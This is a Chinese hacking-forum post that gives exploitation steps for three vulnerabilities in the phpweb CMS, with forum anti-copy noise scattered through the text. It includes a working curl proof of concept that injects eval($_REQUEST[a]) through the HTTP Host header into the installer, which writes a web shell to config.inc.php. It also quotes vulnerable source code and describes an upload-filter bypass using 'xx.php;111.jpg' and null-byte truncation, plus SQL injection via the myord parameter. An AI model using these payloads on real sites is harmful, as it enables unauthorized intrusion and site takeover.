找回密码
 立即注册
查看: 2778|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:4 n% a+ b. b: v! x1 e$ \

! z/ u2 z+ d6 r1 E9 j$ b/ Z, h+ x之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
+ ?' G" F" a1 {, C( M
2 t' x2 {4 y! ~9 z) T鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件/ d3 D+ U0 i) m9 w3 h( m
鸡肋2: 有一定安全常识的站长都会删掉 install 目录" ?0 b! l& Z8 I- c( o
( q# s2 ~' K* l& a- l5 h: v. T
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) P; u- \/ l" C9 w0 t4 X " E: m* v5 Y: L$ A/ w
分析:
- |, \" s; L5 s/ _
- D! H6 N/ K8 _% J1 }+ k# Z/ f 5 U" ^4 I4 r  L# q5 B
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤) `0 b, R" j% }" G5 E
, l4 f7 @3 v5 ?4 r
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
$ ^: t  C* b7 A* U. n* b0 f                                            $filestr=str_replace(" ","",$filestr);
- H& `8 p& L0 r                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- q# J( ]- y/ `. Q/ q                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
# R. V  R$ {8 L* Z! |% G" w. P; q                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 k1 b/ W) t. @8 S4 d: V$ t2 Z                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; _( ~4 ~" ?4 j2 ]$ r                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);5 w7 {1 A* r2 ^  _* r2 W* P8 l8 p5 b
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);; m$ k) o; `0 q* g; j, B3 e2 H
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
/ s5 X6 [9 @& d
% L, Y- [, g2 o0 b; ]! Q                                            fwrite(fopen($ConFile,"w"),$filestr,30000);/ ~9 R6 B8 p% K9 {- c5 D% y
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^% g( F. |# d; R! B$ v" u
2 w, \% W- `* x7 Y
poc:
0 J+ Z# j$ c. A/ K# w2 j: E) S
" S3 v6 ?! q: O8 }, R+ V. B2 V8 E?
7 q" K% l- l) V" b' O; T2 L1: U& e2 R6 X# f0 `6 H8 J
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
# T3 l, \- B3 v" C# x" \1 V& i8 dshell地址: /config.inc.php
2 T/ p; ]0 X7 z( G4 q2 h: u" u跟之前的 phpcms一样 需要远程数据库; z1 _$ I- g" ?8 t% [

* m5 v3 c( B/ u6 e1 t: U——————————————————–
. S9 T9 i. x$ S5 u上传漏洞(需要进后台):
+ _% R# u" m8 h( R- q漏洞文件: /kedit/upload_cgi/upload.php
0 ?# }9 L% W' v这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用% z4 S6 {( D8 e: j# u9 j7 i

8 n+ F" M3 I" U8 b ' ^8 `6 a1 D% v, T  O! t' V8 U6 l  c
<?php" \9 f, k9 j) R) P3 F( ~. T
    define("ROOTPATH", "../../");; C2 A- v: P- \6 J
    include(ROOTPATH."includes/admin.inc.php");
1 N1 a9 C1 N9 Z, _# ]$ J% e5 S% ~    NeedAuth(0);! B( l$ N$ W! n. N) G( B

; u# K4 v7 \0 C8 F0 @  J    $dt=date("Ymd",time());
9 J6 H& D; \( C7 s; V    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 w: V/ z4 i* |# [4 I  T            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);) y7 f- s; ~  p9 m" S- I' s
    }& ~8 [* H3 @* \6 t; z
' H' C' k: H5 z: y% _
    //文件保存目录路径
! A0 d  x& _" \* |8 n    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';: ?0 E6 n$ b9 j& K
    echo $save_path;
) ]2 }7 h( W9 r0 p3 `# ?    //文件保存目录URL/ [$ x+ l5 O9 R! x4 `( \
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';/ ~3 d1 H5 Z1 o% V( W& I' I

$ _/ ^2 K  N6 `, }5 k    //定义允许上传的文件扩展名
5 |- O: Y+ p/ j4 s    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 v7 \$ D& R2 s
. }5 z$ D6 l7 r: f* h. }& D    //最大文件大小
0 L4 c' t* `$ e    $max_size = 1000000;& j4 B# `: N  i
. Q$ d% h" R" Y1 U0 G4 N; N8 K
    //更改目录权限
* H9 y6 F9 V( m    @mkdir($save_path, 0777);
7 M: h# j! ~6 L5 k$ ~& T 7 S. c  O3 M4 c& L  r- B' W3 V
    //文件的全部路径
7 I8 h3 h- ~% O    $file_path = $save_path.$_POST['fileName'];   //保存文件名6 M  K$ ~# g9 h5 q! s
1 d7 H8 W$ Z+ W5 }
    //文件URL' c3 Q& L# F  [5 J& N
    $file_url = $save_url.$_POST['fileName'];2 l( t3 X) P  U
//有上传文件时+ }/ V2 r  X. F7 I" G8 K; H
    if (empty($_FILES) === false) {- |' [( G& T/ P& Q3 |$ I7 B

8 i- i1 s' y, e$ N( l            //原文件名- j2 l$ i6 i, X. @  `
            $file_name = $_FILES['fileData']['name'];
* @1 v0 j3 I9 y& ]            //服务器上临时文件名, J; |2 x( J: i; p. q, ]
            $tmp_name = $_FILES['fileData']['tmp_name'];1 ?0 R0 A6 |8 w$ ~+ s
            //文件大小9 H( r( }2 V$ A1 l8 H
            $file_size = $_FILES['fileData']['size'];
7 l! g. T: a' G  w            //检查目录
, ]% D& e  U( [$ O) j: g- d4 }6 p            if (@is_dir($save_path) === false) {
$ t$ Q" L8 f3 `; h4 b# g# Q                    alert("上传目录不存在。");: P& q2 F% q$ @$ K# V# ^9 ?
            }
' r4 ?  P, P: S  ]" A            //检查目录写权限& M5 a* [! _$ Y* e9 o1 G7 A
            if (@is_writable($save_path) === false) {& L1 D$ J- T* P7 y$ W3 M+ @
                    alert("上传目录没有写权限。");
5 X7 P& Q& r2 f! T  _( x1 k            }
8 c. A5 q' x( Q" \; R" y& q            //检查是否已上传
9 Z9 A; e, t. X. g            if (@is_uploaded_file($tmp_name) === false) {- a% d6 O# a, b: l
                    alert("临时文件可能不是上传文件。");
; s( K6 q7 H! a% U5 H6 i3 y3 o. W* _            }; [( {; P* V' d8 w; \9 a4 l
            //检查文件大小
, F7 J" x% Z, J( d; D! ~            if ($file_size > $max_size) {
+ s$ F+ q$ t& o1 f                    alert("上传文件大小超过限制。");
0 C. V5 N5 L0 n3 P# z            }) @- M; S+ x/ Q& k0 ~3 p
            //获得文件扩展名
9 ]6 O0 k6 M% ]7 G* W  w            $temp_arr = explode(".", $_POST['fileName']);0 f0 |, ]2 Y" A* C- L" r8 m: j- B
            $file_ext = array_pop($temp_arr);! y$ Y: w; C9 R# o; F
            $file_ext = trim($file_ext);
% [2 U+ r& Q3 y# e            $file_ext = strtolower($file_ext);4 q$ x- D) F' b" x8 h% L% [
8 ~! b3 T/ J& H- E
            //检查扩展名   6 k& S% k' K7 q7 y7 [/ y, D
            if (in_array($file_ext, $ext_arr) === false) {     
6 Q$ L3 T$ V- u$ R! x- C                    alert("上传文件扩展名是不允许的扩展名。");
. f6 Z7 p( t7 P            }7 \: D* B& B7 w6 O* ^

2 |  @6 d/ m% K8 W* f7 ~            //移动文件   
: ?3 Z, r% R2 Y7 E# S: K3 `. I            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^' E0 |; s' e4 c4 q6 ?- U
            if (move_uploaded_file($tmp_name, $file_path) === false) {: `0 R( _: I4 b
                    alert("上传文件失败。");
: b8 \, s; n  C% l. k% [" e5 ^) _3 t            }/ r& J8 R! q  _; K0 l& n; u0 a! p

* A5 _7 X) G7 s( J$ ~            @chmod($file_path,0666);1 a4 W  R1 Q" C* C3 {; s# ~
' @" }3 x( J$ I5 M0 V8 f- z* D1 V- Y
    ?>
. S# E; C# {& ]3 h. z, M抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. j- H( T2 r* q. d

2 Q8 v% Y8 j1 p3 u# O; Rapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( b6 k$ L" ]; H

, u+ a7 l: H# s0 L7 _——————————————————
4 g% J9 }0 i- b9 B/ K% B注入漏洞:
9 L! Y# X2 @: h) p2 L. i! U漏洞文件:search/module/search.php
  U- U7 m8 f6 m3 x( [( t/ J* |5 l/search/index.php?key=1&myord=1 [sqlinjection]
9 p, Y  J; p  b$ x  |) F, i % i* Z9 N- z( h4 H1 r& B9 Z8 |
& q5 r' r! m* g4 s. U- j
<?php
3 W# f; o& D3 }# q! h   //       ... 省略 n 行...
1 j- U: S( T) j& l3 @% i   //第18行:
. l+ R& I: Q; k% u2 l1 v           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
$ N1 t, X( T7 k, X- I4 c6 J# N! {           $page=htmlspecialchars($_GET["page"]);
: u8 E3 g; d  X' a* K; s! _           $myord=htmlspecialchars($_GET["myord"]);
% u4 f, ?" [0 L / a- a  W" W0 }) f& n+ n
   //       ... 省略 n 行...
/ f! U* W0 U" a9 _9 b4 G7 N   $key,$myord 两个参数带入查询
' D6 g! W# t- @) w( S( y+ Q. h5 b   //第47行 $key:
' j/ L, Y, M5 n7 B
. ]2 ^. n2 n) B   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过... s9 F5 t1 |0 j8 w# ^

3 q% p# T# n/ X2 o9 ]( p   //第197行 $myord
0 u3 w& |4 W- n/ n5 ]9 Y   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
9 K. a' j8 G0 L* V 8 l$ q$ h" j( G$ I) r- f) F
   ?>% b1 T: h2 Q, r3 u3 x/ D3 r2 T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表